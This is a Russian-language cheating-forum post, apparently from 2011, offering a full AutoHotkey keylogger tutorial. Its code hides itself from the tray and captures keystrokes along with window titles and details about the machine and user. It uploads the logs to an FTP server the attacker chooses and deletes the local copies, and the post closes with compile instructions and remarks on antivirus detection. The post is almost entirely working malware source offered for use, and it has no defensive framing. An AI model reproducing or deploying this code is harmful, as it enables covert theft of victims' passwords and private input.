|
Кейлоггер на AHK с отправкой логгов на FTP - Школа Читера - Основы основ - начинаем писать статьи для начинающих с целью создания полноценного раздела |
07.05.2011, 16:21
|
#1
|
|
|
|
Разведчик
|
Регистрация: 11.12.2010
Сообщений: 2
Популярность: 16
Сказал(а) спасибо: 0
Поблагодарили 3 раз(а) в 3 сообщениях
|
Кейлоггер на AHK с отправкой логгов на FTP
Для создания потребуется:
-AHK(Autohotkey)
-Хостинг с доступом по ftp
-руки (2 штуки)
-Мозги
для начала создаём файл с названием допустим keylogger.ahk
Жмём правой кнопкой мыши по нему и выбираем Edit Script
Затем вставляем туда следущий код:
Код:
#NoTrayIcon
;#############################Параметры FTP###############################
Server = 127.0.0.1 ; хост
Port = 21 ; порт
User = user ; юзер
Pwd = password ; пароль
Directory1 = / ; папка на хосте, куда грузить файлы
;############################################################
;############################Узнаём сколько времени и аптайм################################
TTMilliseconds := A_TickCount
TTSeconds := A_TickCount // 1000
TTMinutes := A_TickCount // 60000
TTHours := A_TickCount // 3600000
TTDays := A_TickCount // 86400000
TTWeeks := A_TickCount // 604800000
Milliseconds := TTMilliseconds - (1000 * (TTMilliseconds // 1000))
Seconds := TTSeconds - (60 * (TTSeconds // 60))
Minutes := TTMinutes - (60 * (TTMinutes // 60))
Hours := TTHours - (24 * (TTHours // 24))
Days := TTDays - (7 * (TTDays // 7))
Weeks := TTWeeks - (52 * (TTWeeks // 52))
If Weeks >= 1
Wc = %Weeks% нед.
If Days >= 1
Dc = %Days% дн.
If Hours >= 1
Hc = %Hours% ч.
If Minutes >= 1
Mc = %Minutes% мин.
If Seconds >= 1
Sc = %Seconds% сек.
UpTime = %Wc% %Dc% %Hc% %Mc% %Sc%
;############################################################
;##############################Создаём "Шаблон" лога##############################
Loop {
FormatTime, CurrentDateTime,, M-d-yyyy_HH-mm tt
FileAppend, Ip адрес машины => %A_IPAddress1% `n, %TEMP%\%CurrentDateTime%.txt
FileAppend, Тип ОС => %A_OSType% `n, %TEMP%\%CurrentDateTime%.txt
FileAppend, Версия ОС => %A_OSVersion% `n, %TEMP%\%CurrentDateTime%.txt
FileAppend, Сетевое имя компьютера => %A_ComputerName% `n, %TEMP%\%CurrentDateTime%.txt
FileAppend, Имя пользователя => %A_UserName% `n, %TEMP%\%CurrentDateTime%.txt
FileAppend, Размер экрана => %A_ScreenWidth% на %A_ScreenHeight% `n, %TEMP%\%CurrentDateTime%.txt
FileAppend, Время работы системы => %UpTime% `n, %TEMP%\%CurrentDateTime%.txt
WinGetActiveTitle, OutputVar
FileAppend, Текущий заголовок окна => %OutputVar% `n, %TEMP%\%CurrentDateTime%.txt
Loop 200{
Input, SingleKey, B C L1 V
WinGetActiveTitle, OutputVar2
if (OutputVar2 = OutputVar){
}else{
FileAppend, `nТекущий заголовок окна => %OutputVar2% `n, %TEMP%\%CurrentDateTime%.txt
OutputVar := OutputVar2
}
FileAppend, %SingleKey%, %TEMP%\%CurrentDateTime%.txt
}
;############################################################
;#############################Загружаем лог на FTP###############################
LocalFile = %TEMP%\%CurrentDateTime%.txt ; файл для загрузки
IfNotExist, %LocalFile%
{
Exit, 1
}
if (not INetStart())
{
Exit, 1
}
hConnection := INetConnect(Server, Port, User, Pwd, "ftp", 1)
if (hConnection)
{
Error = 0
UploadFile(hConnection, Directory1, LocalFile)
Sleep, 1
FileDelete, %TEMP%\%CurrentDateTime%.txt
}
else
{
INetStop()
Exit, 1
}
Sleep, 1
}
;############################################################
UploadFile(hConnection, Directory, LocalFile)
{
if (ChangeDirectory(hConnection, Directory))
{
SplitPath, LocalFile, RemoteFile
if (FtpPutFile(hConnection, LocalFile, RemoteFile))
{
Return, true
}
else
{
MsgBox, Cannot upload file into %Directory%.
Return, false
}
}
else
{
MsgBox, Could not create or change to remote directory %Directory%.
Return, false
}
}
ChangeDirectory(hConnection, Directory)
{
if (FtpSetCurrentDirectory(hConnection, Directory))
{
Return, true
}
else
{
if (FtpCreateDirectory(hConnection, Directory))
{
if (FtpSetCurrentDirectory(hConnection, Directory))
{
Return, true
}
else
{
MsgBox, Cannot change to remote directory %Directory%.
Return, false
}
}
else
{
MsgBox, Cannot create remote directory %Directory%.
Return, false
}
MsgBox, Cannot change to remote directory %Directory%.
Return, false
}
}
INetStart(Proxy="", ProxyBypass="", Agent="")
{
global
inet_hModule := DllCall("LoadLibrary", "str", "wininet.dll")
if(!inet_hModule) {
inet_hModule = 0
return false
}
inet_hInternet := DllCall("wininet\InternetOpenA"
, "str", (Agent != "" ? Agent : A_ScriptName)
, "UInt", (Proxy != "" ? 3 : 1)
, "str", Proxy
, "str", ProxyBypass
, "UInt", 0)
If(!inet_hInternet) {
INetCloseHandle(inet_hModule)
return false
}
return true
}
INetStop()
{
global
INetCloseHandle(inet_hInternet)
DllCall("FreeLibrary", "UInt", inet_hModule)
inet_hModule = inet_hInternet = 0
}
INetCloseHandle(hInternet)
{
return DllCall("wininet\InternetCloseHandle", "UInt", hInternet)
}
INetConnect(Server, Port, Username="anonymous", Password="anonymous", Service="http", FtpPassive=0)
{
global inet_hInternet
hConnection := DllCall("wininet\InternetConnectA"
, "uint", inet_hInternet
, "str", Server
, "uint", Port
, "str", Username
, "str", Password
, "uint", (Service = "ftp" ? 1 : (Service = "gopher" ? 2 : 3))
, "uint", (FtpPassive != 0 ? 0x08000000 : 0)
, "uint", 0)
return hConnection
}
FtpCreateDirectory(hConnection, Directory)
{
return DllCall("wininet\FtpCreateDirectoryA", "uint", hConnection, "str", Directory)
}
FtpSetCurrentDirectory(hConnection, Directory)
{
return DllCall("wininet\FtpSetCurrentDirectoryA", "uint", hConnection, "str", Directory)
}
FtpGetCurrentDirectory(hConnection, ByRef @Directory)
{
len := 261
VarSetCapacity(@Directory, len)
result := DllCall("wininet\FtpGetCurrentDirectoryA", "uint", hConnection, "str", @Directory, "uint*", len)
VarSetCapacity(@Directory, -1)
return result
}
FtpPutFile(hConnection, LocalFile, RemoteFile="", TransferType="B")
{
return DllCall("wininet\FtpPutFileA"
, "uint", hConnection
, "str", LocalFile
, "str", (RemoteFile != "" ? RemoteFile : LocalFile)
, "uint", (TransferType == "A" ? 1 : 2)
, "uint", 0)
}
FtpDeleteFile(hConnection, File)
{
return DllCall("wininet\FtpDeleteFileA", "uint", hConnection, "str", File)
}
теперь разберём его настройку
Server = 127.0.0.1 ; хост //Вводим хост FTP
Port = 21 ; порт //Порт для подключения по FTP (по стандарту почти везде 21)
User = user ; юзер // Логин от FTP
Pwd = password ; пароль //Пароль от FTP
Directory1 = / ; папка на хосте, куда грузить файлы //Куда грузить логи (на некоторых хостингах нужно добавить public_html, т.е Directory1 = public_html/ ; )
Затем компилируем всё это добро
ПКМ - Compile Script
Вуаля, кейлоггер готов
Минусы:
-Не добавляется в автозагрузку (кому надо сами сделайте)
-Палится антивирусами (вроде, не проверял точно)
Присылается отчёт вида
Код:
Время: %
Ip адрес машины => %
Тип ОС => %
Версия ОС => %
Сетевое имя компьютера => %
Имя пользователя => %
Размер экрана => %
Время работы системы => %
Текущий заголовок окна => %
Текст, что введён в этом окне
Текущий заголовок окна => %
Текст
Кейлоггер перехватывает 200 символов и вырубается
Для того, чтобы изменить это значение изменяем строку:
Loop 200{
Фух, всё вроде расписал
При копировании просьба указывать источник (хотя кому оно надо)
|
|
|
Пользователь сказал cпасибо:
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Похожие темы
|
Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
Интервал между отправкой
|
Fatov |
Скрипты и перехват пакетов |
3 |
03.07.2010 14:10 |
[Помогите!] Кейлоггер
|
главный овощ |
Общение и обсуждение Perfect World |
5 |
27.03.2010 22:55 |
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 09:55.
|
|